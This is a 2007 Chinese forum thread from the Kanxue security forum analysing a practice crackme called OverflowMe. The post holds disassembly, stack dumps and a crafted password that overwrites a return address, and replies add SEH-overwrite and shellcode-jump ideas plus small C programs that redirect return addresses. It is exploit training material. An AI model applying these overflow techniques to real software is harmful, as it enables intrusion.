首页
社区
课程
招聘
[原创]: OverflowMe溢出分析
发表于: 2007-1-31 13:33 8471

[原创]: OverflowMe溢出分析

2007-1-31 13:33
8471

【文章标题】: OverflowMe溢出分析
【软件名称】: OverflowMe
【下载地址】: http://bbs.pediy.com/attachment.php?s=&attachmentid=4243
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  利用字符串查找参考来到以下地方:
  00401009  |> /68 54A04000   /push    0040A054                ;  please input password:
  0040100E  |. |E8 EA010000   |call    004011FD
  00401013  |. |83C4 04       |add     esp, 4
  00401016  |. |8D4424 04     |lea     eax, [esp+4]
  0040101A  |. |50            |push    eax
  0040101B  |. |68 50A04000   |push    0040A050                ;  %s
  00401020  |. |E8 C1010000   |call    004011E6                ;  输入password串(字符串超长覆盖seh可控制程序流程)
  00401025  |. |83C4 08       |add     esp, 8
  00401028  |. |8D4C24 04     |lea     ecx, [esp+4]
  0040102C  |. |C64424 0B 00  |mov     byte ptr [esp+B], 0
  00401031  |. |51            |push    ecx                     ; /Arg1
  00401032  |. |E8 49000000   |call    00401080                ; \验证密码(跟进去可以发现密码是test)
  00401037  |. |84C0          |test    al, al
  00401039  |. |75 28         |jnz     short 00401063
  0040103B  |. |68 48A04000   |push    0040A048                ;  error\n\n%s
  00401040  |. |E8 B8010000   |call    004011FD                ;  错误提示
  00401045  |. |83C4 04       |add     esp, 4
  00401048  |. |8BD6          |mov     edx, esi
  0040104A  |. |4E            |dec     esi
  0040104B  |. |85D2          |test    edx, edx
  0040104D  |.^\75 BA         \jnz     short 00401009          ;  循环三次(有三次尝试密码的机会)
  0040104F  |.  68 40A04000   push    0040A040                 ;  pause
  00401054  |.  E8 F7000000   call    00401150                 ;  提示按任意键继续(call执行完可改变程序流程)
  
  有两个地方可以控制程序流程
  第一个地方就是第一次输入password时,发现当输入的串向下填充到栈底时,程序将转入seh异常处理,这时后seh处理函数地址
  已经被我们输入字符串覆盖。
  其长度为0x12fffc-0x12ff78 (0x12fffc为栈底,0x12ff7c为字符串填充的起始地址。)
  在覆盖前(程序执行到00401009时 堆栈分布情况如下:
  0012FF7C   00401590    返回到 o.00401590 来自 o.0040164F
  0012FF80   0040A000    o.0040A000
  0012FF84   00401390    返回到 o.<模块入口点>+0B4 来自 o.00401000
  0012FF88   00000001
  0012FF8C   00370ED0
  0012FF90   00370F28
  0012FF94   7C930738    ntdll.7C930738
  0012FF98   FFFFFFFF
  0012FF9C   7FFD6000
  0012FFA0   00000001
  0012FFA4   00000006
  0012FFA8   0012FF94
  0012FFAC   AAD62D08
  0012FFB0   0012FFE0    指向下一个 SEH 记录的指针
  0012FFB4   00403B44    SE处理程序
  0012FFB8   004090F8    o.004090F8
  0012FFBC   00000000
  0012FFC0   0012FFF0
  0012FFC4   7C816D4F    返回到 kernel32.7C816D4F
  0012FFC8   7C930738    ntdll.7C930738
  0012FFCC   FFFFFFFF
  0012FFD0   7FFD6000
  0012FFD4   8054B6ED
  0012FFD8   0012FFC8
  0012FFDC   81F844F8
  0012FFE0   FFFFFFFF    SEH 链尾部
  0012FFE4   7C8399F3    SE处理程序
  0012FFE8   7C816D58    kernel32.7C816D58
  0012FFEC   00000000
  0012FFF0   00000000
  0012FFF4   00000000
  0012FFF8   004012DC    o.<模块入口点>
  0012FFFC   00000000
  
  用长串字符aaaaaaaaaa..覆盖后运行提示提示不知如何继续,内存地址61616161不可读
  这时堆栈分布情况如下:
  0012FF74   0012FF7C    ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  0012FF78   FFFFFFFF
  0012FF7C   61616161
  0012FF80   61616161
  0012FF84   61616161
  0012FF88   61616161
  0012FF8C   61616161
  0012FF90   61616161
  0012FF94   61616161
  0012FF98   61616161
  0012FF9C   61616161
  0012FFA0   61616161
  0012FFA4   61616161
  0012FFA8   61616161
  0012FFAC   61616161
  0012FFB0   61616161    指向下一个 SEH 记录的指针
  0012FFB4   61616161    SE处理程序
  0012FFB8   61616161
  0012FFBC   61616161
  0012FFC0   61616161
  0012FFC4   61616161
  0012FFC8   61616161
  0012FFCC   61616161
  0012FFD0   61616161
  0012FFD4   61616161
  0012FFD8   61616161
  0012FFDC   61616161
  0012FFE0   61616161
  0012FFE4   61616161
  0012FFE8   61616161
  0012FFEC   61616161
  0012FFF0   61616161
  0012FFF4   61616161
  0012FFF8   61616161
  0012FFFC   61616161
  
  这时发生了异常 程序转入seh 处理异常,而seh函数地址又被覆盖成   61616161 所以执行61616161 停下。
  这时后如果我们把seh函数地址覆盖成00401100 (这是提示成功字符串地址) 那么发生异常时程序转入执行00401100
  就达到目的了。但是00401100中有00,如果在password串中有00就会被截断,我常识利用寄存器跳转,但没找到合适的能够
  条到提示成功的程序的位置。
  
  尝试了很久没达到目的,传统覆盖seh 的方法也不可用。
  传统方法是:当发生异常时,ebx指向seh第一个记录指针,就是上面0012FFB0 的位置,我们把seh处理函数地址(0012FFB4的值)
  覆盖成jmp ebx的地址(可以在内存中搜索通用地址),这时程序执行到0012ffb0 ,把0012ffb0覆盖为eb06eb06,执行时eip
  想下跳8字节,就执行到0012FFB8 而这里面放我们的shellcode,那么就实现了攻击的目的。
  这个方法也是在win2000才成功
  
  那么我们就利用第二个溢出点:
  用od加载程序 执行。
  输入密码aaaabbbbccccddddeeeeffff
  提示错误
  继续输入密码:aaaabbbbccccddddeeeeffff
  提示错误
  继续输入密码:aaaabbbbccccddddeeeeffff
  提示错误
  按f8继续执行
  当执行完
  0040104F  |.  68 40A04000   push    0040A040                 ;  pause
  00401054  |.  E8 F7000000   call    00401150                 ;  提示按任意键继续(call执行完可改变程序流程)
  时程序提示 eip 63636363不可以继续执行。
  那么我们可以推断call执行完后回到用cccc覆盖的地址0012FF84去执行。
  我们只要把cccc覆盖为00401100就可以达到目的了。
  三次输入的密码都是从一个地址开始覆盖的。那么以第三次输入的串覆盖的结果为准,也就是前两次密码随便输入只要
  串不太长让程序转入seh就可以了。
  
  password覆盖前 堆栈分布:
  0012FF7C   00401590    返回到 o.00401590 来自 o.0040164F   //password每次从这里开始覆盖
  0012FF80   0040A000    o.0040A000
  0012FF84   00401390    返回到 o.<模块入口点>+0B4 来自 o.00401000    //
  覆盖后
  0012FF78   FFFFFFFF
  0012FF7C   61616161
  0012FF80   00626262
  0012FF84   63636363               //00401054 call完后程序从这里执行,把这个位置覆盖为00401100就达到目的了
  0012FF88   64646464
  
  0012FF84原来值为00401390只要把1390覆盖为1100就可以了,而有00会被截断,我们要想办法避免
  看看401100处代码
  004010F7       90            nop
  004010F8       90            nop
  004010F9       90            nop
  004010FA       90            nop
  004010FB       90            nop
  004010FC       90            nop
  004010FD       90            nop
  004010FE       90            nop
  004010FF       90            nop
  00401100   /$  68 6CA04000   push    0040A06C                 ;  succeed, you win!\n\n
  00401105   |.  E8 F3000000   call    004011FD
  
  那么我们只要用4010ff(执行一个nop就到401100了)来代替401100就可以了
  
  好了到这里就达到目的了
  前两次随便输入password别 导致异常就可以了,然后第三次输入aaaabbbb?@
  后面四个字符对应4010ff刚好覆盖0012FF84
  
  当00401054  |.  E8 F7000000   call    00401150  完后执行0012ff84指的地址 就是执行4010ff
  就执行到success了
  
  
--------------------------------------------------------------------------------
【经验总结】
  关于第一个溢出点的利用,期待高手!
  
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-11-23 17:58 被netwind编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (18)
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
2
请问象0xEB这样的字符怎么样用键盘敲进去
2007-1-31 19:29
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
3
我一般这样:
1 用程序
printf("%c",0xeb);
打印出来后复制

2 用记事本写几个字符
再用16进制编辑软件打开 在里面写0xeb保存 ,
打开记事本 复制
2007-1-31 20:08
0
雪    币: 461
活跃值: (93)
能力值: ( LV9,RANK:1170 )
在线值:
发帖
回帖
粉丝
4
精彩!
2007-1-31 20:11
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
5
复制是可以,但是粘贴呢..不会搞.那个是命令行模式的程序
2007-1-31 20:27
0
雪    币: 209
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
cmd.exe 有右键粘贴菜单
可以在 cmd 下运行overflowme
也可以建一个bat文件运行overflowme
2007-1-31 23:18
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
7
在dos框 顶部蓝色标题 栏 右键 选编辑 有粘贴 功能
2007-2-1 00:26
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
8
谢谢拉,我试下
2007-2-1 13:24
0
雪    币: 1829
活跃值: (1377)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
9
好,终于用砖把玉引出来了。
2007-2-1 14:50
0
雪    币: 1829
活跃值: (1377)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
10
虽然程序退出之前有报错,
但是暇不掩玉,才思敏捷,厉害厉害。
2007-2-1 14:58
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
11
还有一个问题,是不是SEH程序的地址不可以是NTDLL内的地址啊,因为我把地址覆盖为0x61616161,他会CALL,但是我用地址如0x7c921d65之类的就不能被执行了,请问这个地址的有效范围是哪些?

刚学习了,让他执行到POP POP RET指令序列就可以执行到我们的SHELLCODE了.能执行shellcode就搞定了呵呵.
2007-2-1 18:34
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
12
这个问题我也感觉奇怪,如果程序加载了这个库应该可以的
你也可以找kernl32.dll里的地址,尝试下。
另外我发现在2000系统下无论password输入多长都不会触发异常
对于溢出我感觉最好先在2000下测试。

第一个溢出点覆盖seh的方式不大好利用, 通常利用jmp esp ,jmp ebx,jmp ebp 等方式跳转

如果能直接或间接跳到success区域 就达到目的了
如果能跳到被我们输入的字符串覆盖的区域,我们可以把将被覆盖的区域用shellcode填充。执行我们的恶意代码。

我当时调试时用覆盖seh的方法没有找到一种能跳转到我们希望的地方的方式。

有空了我会再看看的。
2007-2-1 20:04
0
雪    币: 154
活跃值: (80)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
精彩 收藏下来慢慢消化
2007-2-1 21:29
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
14
今天看了XFOCUS的网络渗透技术,里面有这么一句
在SEH调用前,地址会与已注册的异常处理函数进行比较.如果它在任何已加载的模块范围之外,此异常处理函数就能被调用...
2007-2-2 15:46
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
进来学习一下
2007-3-5 09:27
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
好东西收下。
2007-3-19 02:24
0
雪    币: 148
活跃值: (25)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
17
晕, 还以为完美解决了, 枉费我花时间和精力从头看到尾.

竟然弄个退出时报错的出来. 都没有达到发布OlverflowMe的帖子中解决的好.
2007-3-21 11:14
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
18
真是抱歉,思想和方法我想我都尽自己的能力提出来了
思想应该是重要的.
完美与否只是个时间的问题.
你在覆盖完eip后,再用原来这个地方的地址覆盖在eip后面,这样执行完后就按程序原来的流程退出.
后者你覆盖完eip后,在后面用exitprocess的地址覆盖在后面,这样执行完后就退出.

不好意思,抱歉.
2007-3-21 15:26
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
19
这是前段时间给别人回帖里写的几个exploit测试的程序:
这里覆盖完后用原来地址或exitprocess写在eip后面
使程序正常退出.
#include <stdio.h>
#include <string.h>
int n;
int fun(){
printf("You are hacked!!!\n ");
return 0;
}
int main(int argc,char **argv){
int *ret;
ret=(int *)&ret+2;
n=*ret;
*ret=(int)fun;
ret=(int *)&ret+3;
*ret=n;
printf("ret: 0x%8x \n",ret);
printf("fun at: 0x%8x \n",fun);
return 0;
}

#include <stdio.h>
#include <string.h>
int n;
int fun(){
printf("You are hacked!!!\n ");
return 0;
}
int main(int argc,char **argv){
char buf[1];
strcpy(buf,"aaaabbbb");
char *p;
p=buf;
p+=strlen("aaaabbbb");
memcpy(p,"\x0f\x10\x40",4);
memcpy(p+4,"\x93\x13\x40",4); //这个是exit的地址.
printf("ret: 0x%8x \n",buf);
printf("fun at: 0x%8x \n",fun);
return 0;
}

#include <stdio.h>
#include <string.h>
void fun(){
printf("You are hacked!!! ");
}
int main(int argc,char **argv){
char buf[1];
strcpy(buf,"aaaabbbb" "\x05\x10\x40");
printf("buf: 0x%8x ",&buf);
printf("fun at: 0x%8x ",fun);//\x05\x10\x40
return 0;
}

本人也是初学,只能说抱歉,耽误你时间了.
2007-3-21 15:33
0
游客
登录 | 注册 方可回帖
返回
//